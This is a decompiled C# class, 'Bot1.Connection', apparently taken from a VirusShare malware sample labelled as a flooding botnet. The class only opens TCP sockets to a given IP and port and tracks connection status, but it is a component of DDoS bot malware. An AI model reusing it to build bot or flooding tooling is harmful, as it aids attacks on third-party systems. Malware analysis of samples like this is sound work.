// Decompiled with JetBrains decompiler // Type: Bot1.Connection // Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe using System; using System.Net; using System.Net.Sockets; namespace Bot1 { public class Connection { public int id; public int status = 2; private IPAddress ip; private int port; private Socket client; public Connection(int _id, string _ip, int _port) { this.id = _id; this.ip = IPAddress.Parse(_ip); this.port = _port; try { this.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); } catch (Exception ex) { this.status = 2; } } public void Connect() { this.status = 0; try { this.client.BeginConnect((EndPoint) new IPEndPoint(this.ip, this.port), new AsyncCallback(Connection.ConnectCallback), (object) this); } catch (Exception ex) { this.status = 2; } } public static void ConnectCallback(IAsyncResult result) { try { if (((Connection) result.AsyncState).client.Poll(10, SelectMode.SelectWrite)) ((Connection) result.AsyncState).status = 1; else ((Connection) result.AsyncState).status = 2; } catch (Exception ex) { ((Connection) result.AsyncState).status = 2; } } public void UpdateStatus() { if (this.status != 1) return; if (this.client.Poll(10, SelectMode.SelectWrite)) this.status = 1; else this.status = 2; } } }